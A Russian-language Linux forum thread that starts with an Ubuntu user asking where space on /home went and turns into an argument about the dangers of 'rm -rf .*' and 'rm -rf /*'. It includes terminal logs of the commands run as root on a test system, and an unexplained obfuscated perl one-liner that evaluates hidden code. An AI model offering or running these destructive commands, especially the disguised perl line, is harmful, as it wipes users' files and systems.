Убунта: пропадает место на /home
а что мешает посмотреть?
В /usr не вижу упоминания о banshee. Где и что ещё смотреть - Хочу Знать : )
p.s. хоум == /home
Подозреваю, что это могут быть Cover Art от banshee, но его я удалил (sudo aptitude purge banshee -y).Удаление любой программы никогда не трогает содержимое $HOME.
далее рекурсивно )
Бунта съела несколько десятков метров на /хоумПочему бубунта, а не конкретное приложение? Посмотри сколько весят различные настроечные $HOME/.*
Посмотри сколько весят различные настроечные $HOME/.*сюда, кстати, попадает и $HOME/.., ты наверное ни разу не делал rm -rf .*
а вот Spin так делал и с тех пор я всех предостерегаю от повторения его роковой ошибки
сюда, кстати, попадает и $HOME/.., ты наверное ни разу не делал rm -rf .*черт! єто жестоко
Я в принципе боюсь конструкций вида .* в случае с rm ) Это было для чего-то типа ls максимум )
в правильных шеллах - не попадает.
rm -rf .*Я один раз так делал, работает быстро и качественно
А, нет, даже два, второй раз специально, когда комп продавал )
, ну ты напиши сразу, что это за правильный шелл.
не все же всё на свете знают и друг друга полунамёками подначивают.
большинство участвует в дискуссиях для обмена информацией.
не все же всё на свете знают и друг друга полунамёками подначивают.
большинство участвует в дискуссиях для обмена информацией.
вообще я об этой его особенности не в первый раз упоминаю на этом форуме.
cat "test... test... test..." | perl -e '$?s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
не, rm вроде уже обучили ругаться на .. и /
du -sch /homedu -hx /home | sort -n
а на «.» научили?
единственное, чего не хватает, так это пункта в контекстном меню «delete».
не, rm вроде уже обучили ругаться на .. и /
-f, --force
ignore nonexistent files, never prompt
--no-preserve-root
do not treat `/' specially
Эта опция не была указана ни в одном из примеров.
ну rm -rf / у меня не работает. К чему это твое последнее сообщение, я не понял.
Аналогично баянному анекдоту про автобус.
- Я знаю что сломалось, автобус сломался.
чего ты от меня хочешь? там сказали, что rm научили отличать / от всего остального, ты в ответ пишешь про опцию -f, которая к этому вообще не имеет отношения. Зачем?
я же говорю не про автобус, я тебе показал опцию, которая прямо указывает на то, что там / обрабатывается отдельно. Если ее указать, то будет работать, можешь проверить, сделав chroot.
При указании опции -f, rm больше не задает глупых вопросов.
По-моему, ты ошибаешься.
не, rm вроде уже обучили ругаться на .. и /круто! со Spin-ом дело было буквально года два назад, то есть сравнительно недавно.
bugaga ~/tmp/tmp $ ls -la
total 0
drwxr-xr-x 3 bachan bachan 17 May 8 18:42 .
drwxr-xr-x 3 bachan bachan 16 May 8 18:39 ..
drwxr-xr-x 2 bachan bachan 6 May 8 18:42 .tmp
bugaga ~/tmp/tmp $ rm -rf .*
rm: cannot remove directory: `.'
rm: cannot remove directory: `..'
bugaga ~/tmp/tmp $ ls -la
total 0
drwxr-xr-x 2 bachan bachan 6 May 8 18:42 .
drwxr-xr-x 3 bachan bachan 16 May 8 18:39 ..
Причем, решение отличное. Просто запретили удалять `.' и `..'. Приятно. =)
zsh(1)ну вот даже я сомневался, правильно ли я помню, что ты его адепт.
вообще я об этой его особенности не в первый раз упоминаю на этом форуме.
а я сравнительно активно форум читаю.
ну не суть, главное, что ты пояснил свою мысль.
li:/# rm -rf .*
rm: cannot remove directory: `.'
rm: cannot remove directory: `..'
li:/# ls -la
total 13
drwxr-xr-x 20 root root 504 May 8 14:55 .
drwxr-xr-x 20 root root 504 May 8 14:55 ..
drwxr-xr-x 2 root root 2136 May 8 14:55 bin
drwxr-xr-x 2 root root 48 Mar 12 13:08 boot
drwxr-xr-x 5 root root 1152 May 8 14:55 dev
drwxr-xr-x 43 root root 2688 May 8 14:55 etc
drwxr-xr-x 2 root root 48 Mar 12 13:08 home
drwxr-xr-x 10 root root 3776 May 8 14:55 lib
lrwxrwxrwx 1 root root 4 May 8 14:54 lib64 -> /lib
drwxr-xr-x 2 root root 48 May 8 14:54 media
drwxr-xr-x 2 root root 48 Mar 12 13:08 mnt
drwxr-xr-x 2 root root 48 May 8 14:54 opt
drwxr-xr-x 2 root root 48 Mar 12 13:08 proc
drwx------ 2 root root 96 May 8 14:54 root
drwxr-xr-x 2 root root 2840 May 8 14:55 sbin
drwxr-xr-x 2 root root 48 Jul 21 2010 selinux
drwxr-xr-x 2 root root 48 May 8 14:54 srv
drwxr-xr-x 2 root root 48 Jan 1 05:55 sys
drwxrwxrwt 2 root root 48 May 8 14:55 tmp
drwxr-xr-x 10 root root 264 May 8 14:54 usr
drwxr-xr-x 13 root root 312 May 8 14:54 var
li:/# rm -rf /*
li:/# ls -la
bash: /bin/ls: No such file or directory
li:/# exit
li:/home/user# chroot ./test-rm/
chroot: cannot run command `/bin/bash': No such file or directory
li:/home/user# ls -la ./test-rm/
итого 1
drwxr-xr-x 2 root root 48 Май 8 18:58 .
drwx------ 10 user user 544 Май 8 18:51 ..
li:/home/user#
rm: cannot remove directory: `.'
rm: cannot remove directory: `..'
li:/# ls -la
total 13
drwxr-xr-x 20 root root 504 May 8 14:55 .
drwxr-xr-x 20 root root 504 May 8 14:55 ..
drwxr-xr-x 2 root root 2136 May 8 14:55 bin
drwxr-xr-x 2 root root 48 Mar 12 13:08 boot
drwxr-xr-x 5 root root 1152 May 8 14:55 dev
drwxr-xr-x 43 root root 2688 May 8 14:55 etc
drwxr-xr-x 2 root root 48 Mar 12 13:08 home
drwxr-xr-x 10 root root 3776 May 8 14:55 lib
lrwxrwxrwx 1 root root 4 May 8 14:54 lib64 -> /lib
drwxr-xr-x 2 root root 48 May 8 14:54 media
drwxr-xr-x 2 root root 48 Mar 12 13:08 mnt
drwxr-xr-x 2 root root 48 May 8 14:54 opt
drwxr-xr-x 2 root root 48 Mar 12 13:08 proc
drwx------ 2 root root 96 May 8 14:54 root
drwxr-xr-x 2 root root 2840 May 8 14:55 sbin
drwxr-xr-x 2 root root 48 Jul 21 2010 selinux
drwxr-xr-x 2 root root 48 May 8 14:54 srv
drwxr-xr-x 2 root root 48 Jan 1 05:55 sys
drwxrwxrwt 2 root root 48 May 8 14:55 tmp
drwxr-xr-x 10 root root 264 May 8 14:54 usr
drwxr-xr-x 13 root root 312 May 8 14:54 var
li:/# rm -rf /*
li:/# ls -la
bash: /bin/ls: No such file or directory
li:/# exit
li:/home/user# chroot ./test-rm/
chroot: cannot run command `/bin/bash': No such file or directory
li:/home/user# ls -la ./test-rm/
итого 1
drwxr-xr-x 2 root root 48 Май 8 18:58 .
drwx------ 10 user user 544 Май 8 18:51 ..
li:/home/user#
Что я сделал не так?
Результат есть - системы не стало, пусть виртуальной, но факта это не отменяет.
воспользовался старой версией coreutils
нет, написал /*, а не /, а еще отключить тролло-моде, который уже заебал.
Я не пытаюсь вдаваться во всякие мелкие подробности, а лишь показал принципиальную возможность.
/* раскрывается шеллом в список файлов в корне.
Нет никакой возможности удалить корневой раздел или, что самое главное, его содержимое?
Впендюрили пару новых костылей, но суть от этого не изменилась.
Все осталось по прежнему и головную думалку не отменили.
есть
Тогда о чем спор?
>сюда, кстати, попадает и $HOME/.., ты наверное ни разу не делал rm -rf .*
я щас UNIX HATERS HANDBOOK читаю. =)
количество постов в H&S посвященных глюкам Убунты, еще не сподвигло тебя перейти на, что-нибудь требующее проводить меньше времени в поисках решения проблем в конфах, багтреках и прочих замечательных местах ?
это типа знает что такое багтрекер?
Количество чайников, поставивших себе убунту в разы больше, чем другие дистрибутивы вместе взятые - от этого так много глупых вопросов, надуманных проблем и глюков именно в убунте.
Много глюков из-за проблем позиционирования. Я уже писал серию постов "почему я ненавижу убунту". Если кратко, то убунту обещает изкаробочность. Но не даёт её. Всё равно надо кучу вещей править очень глубоко. А та изкоробочность, что есть, часто глючит и редко разрешает высокоуровневую настройку.
Как пример: мне абсолютно пофиг, что FreeBSD многими специалистами считается сугобо серверной операционкой - я просто беру и использую её на десктопе.
Безоблачным сей путь назвать не могу, но по сравнению с временем уходившим на обслуживание виндузов, здесь хоть понятно и логично, что не так и как это исправлять, и поэтому гораздо интереснее с этим разбираться.
Re: Убунта: продает место на /homeТьфу, блин, привидится же..
Re: Убунта: пропадает место на /homeЛучше так:
Убунта - чОрная дыра
А если убрать те самые заявления об искоробочности - то как она тебе по сравнению с другими дистрибутивами?я бы выбрал arch, если мне нужна бинарная система. Но я в бинарные системы не верю. Как-то не нашёл в них замены USE флагам. А USE флаги важны, потому что они сокращают количество зависимостей.
Но я в бинарные системы не верю. Как-то не нашёл в них замены USE флагам.Очевидно, искаропки ты в убунте не нашёл именно юз-флаги, эмердж и какой-нибудь *box?
Оставить комментарий
stm4836248
У меня на системном диске всего три раздела - / /swap, /home. Бунта съела несколько десятков метров на /хоум. Куда копать?Подозреваю, что это могут быть Cover Art от banshee, но его я удалил (sudo aptitude purge banshee -y).